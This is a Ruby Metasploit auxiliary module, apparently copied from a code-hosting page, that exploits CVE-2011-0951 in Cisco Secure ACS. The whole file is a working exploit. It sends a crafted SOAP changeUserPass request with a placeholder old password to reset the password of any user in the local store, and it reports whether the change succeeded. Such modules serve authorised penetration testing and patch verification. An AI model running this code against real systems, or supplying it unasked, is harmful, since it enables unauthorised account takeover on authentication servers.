111 lines
3.9 KiB
Ruby
111 lines
3.9 KiB
Ruby
##
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit4 < Msf::Auxiliary
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Auxiliary::Report
|
|
include Msf::Auxiliary::Scanner
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Cisco Secure ACS Unauthorized Password Change',
|
|
'Description' => %q{
|
|
This module exploits an authentication bypass issue which allows arbitrary
|
|
password change requests to be issued for any user in the local store.
|
|
Instances of Secure ACS running version 5.1 with patches 3, 4, or 5 as well
|
|
as version 5.2 with either no patches or patches 1 and 2 are vulnerable.
|
|
},
|
|
'References' =>
|
|
[
|
|
['BID', '47093'],
|
|
['CVE', '2011-0951'],
|
|
['URL', 'http://www.cisco.com/en/US/products/csa/cisco-sa-20110330-acs.html']
|
|
],
|
|
'Author' =>
|
|
[
|
|
'Jason Kratzer <pyoor[at]flinkd.org>'
|
|
],
|
|
'License' => MSF_LICENSE
|
|
))
|
|
|
|
register_options(
|
|
[
|
|
Opt::RPORT(443),
|
|
OptString.new('TARGETURI', [true, 'Path to UCP WebService', '/PI/services/UCP/']),
|
|
OptString.new('USERNAME', [true, 'Username to use', '']),
|
|
OptString.new('PASSWORD', [true, 'Password to use', '']),
|
|
OptBool.new('SSL', [true, 'Use SSL', true])
|
|
], self.class)
|
|
end
|
|
|
|
def run_host(ip)
|
|
soapenv='http://schemas.xmlsoap.org/soap/envelope/'
|
|
soapenvenc='http://schemas.xmlsoap.org/soap/encoding/'
|
|
xsi='http://www.w3.org/1999/XMLSchema-instance'
|
|
xsd='http://www.w3.org/1999/XMLSchema'
|
|
ns1='ns1:changeUserPass'
|
|
|
|
data = '<?xml version="1.0" encoding="utf-8"?>' + "\r\n"
|
|
data << '<SOAP-ENV:Envelope SOAP-ENV:encodingStyle="' + soapenvenc + '" '
|
|
data << 'xmlns:SOAP-ENC="' + soapenvenc + '" '
|
|
data << 'xmlns:xsi="' + xsi + '" xmlns:SOAP-ENV="' + soapenv + '" '
|
|
data << 'xmlns:xsd="' + xsd + '">' + "\r\n"
|
|
|
|
data << '<SOAP-ENV:Body>' + "\r\n"
|
|
data << '<ns1:changeUserPass xmlns:ns1="UCP" SOAP-ENC:root="1">' + "\r\n"
|
|
data << '<v1 xsi:type="xsd:string">' + datastore['USERNAME'] + '</v1>' + "\r\n"
|
|
data << '<v2 xsi:type="xsd:string">fakepassword</v2>' + "\r\n"
|
|
data << '<v3 xsi:type="xsd:string">' + datastore['PASSWORD'] + '</v3>' + "\r\n"
|
|
data << '</ns1:changeUserPass>'
|
|
data << '</SOAP-ENV:Body>' + "\r\n"
|
|
data << '</SOAP-ENV:Envelope>' + "\r\n\r\n"
|
|
|
|
print_status("Issuing password change request for: " + datastore['USERNAME'])
|
|
|
|
begin
|
|
uri = normalize_uri(target_uri.path)
|
|
uri << '/' if uri[-1,1] != '/'
|
|
res = send_request_cgi({
|
|
'uri' => uri,
|
|
'method' => 'POST',
|
|
'data' => data,
|
|
'headers' =>
|
|
{
|
|
'SOAPAction' => '"changeUserPass"',
|
|
}
|
|
}, 60)
|
|
|
|
rescue ::Rex::ConnectionError
|
|
print_error("#{rhost}:#{rport} [ACS] Unable to communicate")
|
|
return :abort
|
|
end
|
|
|
|
if not res
|
|
print_error("#{rhost}:#{rport} [ACS] Unable to connect")
|
|
return
|
|
elsif res.code == 200
|
|
body = res.body
|
|
if body.match(/success/i)
|
|
print_good("#{rhost} - Success! Password has been changed.")
|
|
elsif body.match(/Password has already been used/)
|
|
print_error("#{rhost} - Failed! The supplied password has already been used.")
|
|
print_error("Please change the password and try again.")
|
|
elsif body.match(/Invalid credntials for user/)
|
|
print_error("#{rhost} - Failed! Either the username does not exist or target is not vulnerable.")
|
|
print_error("Please change the username and try again.")
|
|
else
|
|
print_error("#{rhost} - Failed! An unknown error has occurred.")
|
|
end
|
|
else
|
|
print_error("#{rhost} - Failed! The webserver issued a #{res.code} response.")
|
|
print_error("Please validate the TARGETURI option and try again.")
|
|
end
|
|
|
|
end
|
|
end
|